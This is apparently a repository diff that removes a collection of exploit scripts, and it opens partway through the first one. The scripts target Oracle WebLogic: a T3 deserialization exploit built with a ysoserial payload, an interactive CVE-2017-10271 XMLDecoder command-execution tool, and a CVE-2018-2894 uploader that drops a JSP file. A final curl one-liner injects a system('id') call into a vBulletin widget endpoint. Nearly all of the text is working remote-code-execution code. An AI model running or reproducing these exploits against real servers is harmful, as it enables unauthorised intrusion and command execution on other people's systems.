parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not args.ysoserial_path:
for path in ysoserial_default_paths:
if os.path.exists(path):
ysoserial_path = path
else:
if os.path.exists(args.ysoserial_path):
ysoserial_path = args.ysoserial_path
if len(args.target.split(':')) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
sock.connect((ip, int(port)))
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('[*] Sending header')
sock.sendall(headers)
data = sock.recv(1024)
print('[*] Received: "{}"'.format(data))
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload += payloadObj
payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print('[*] Sending payload')
sock.send(payload)

View File

@@ -1,63 +0,0 @@
from __future__ import print_function
from builtins import input
import requests
import sys
url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}
def payload_command (command_in):
html_escape_table = {
"&": "&amp;",
'"': "&quot;",
"'": "&apos;",
">": "&gt;",
"<": "&lt;",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
" <soapenv:Header> " \
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
" <void class=\"java.lang.ProcessBuilder\"> \n" \
" <array class=\"java.lang.String\" length=\"3\">" \
" <void index = \"0\"> " \
" <string>cmd</string> " \
" </void> " \
" <void index = \"1\"> " \
" <string>/c</string> " \
" </void> " \
" <void index = \"2\"> " \
+ command_filtered + \
" </void> " \
" </array>" \
" <void method=\"start\"/>" \
" </void>" \
" </java>" \
" </work:WorkContext>" \
" </soapenv:Header>" \
" <soapenv:Body/>" \
"</soapenv:Envelope>"
return payload_1
def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
if result.status_code == 500:
print("Command Executed \n")
else:
print("Something Went Wrong \n")
print("***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n")
while 1:
command_in = input("Eneter your command here: ")
if command_in == "exit" : exit(0)
do_post(command_in)

View File

@@ -1,128 +0,0 @@
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey
from __future__ import print_function
from builtins import str
import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET
def get_current_work_path(host):
geturl = host + "/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit("[-] {} don't exists CVE-2018-2894".format(host))
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content:
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
for sub in e:
if e.tag == "parameter" and sub.tag == "defaultValue":
values.append(sub.text)
except requests.ConnectionError:
exit("[-] Cannot connect url: {}".format(geturl))
if values:
return values[0]
else:
print("[-] Cannot get current work path\n")
exit(request.content)
def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += "/" + domain_name + works
else:
current_work_home = origin_work_path
print("[*] cannot handle current work home dir: {}".format(origin_work_path))
return current_work_home
def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content:
return True
else:
print("[-] Change New Upload Path failed")
exit(request.content)
def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("360sglab.jsp", upload_content)
}
request = requests.post(host + uri, files=files)
response = request.text
match = re.findall("<id>(.*?)</id>", response)
if match:
tid = match[-1]
shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
if upload_content in requests.get(shell_path, headers=headers).content:
print("[+] {} exists CVE-2018-2894".format(host))
print("[+] Check URL: {} ".format(shell_path))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
if __name__ == "__main__":
start = time.time()
password = "360sglab"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")
upload_content = "360sglab test"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target
target = target.rstrip('/')
if "://" not in target:
target = "http://" + target
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()

File diff suppressed because one or more lines are too long

View File

@@ -1 +0,0 @@
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"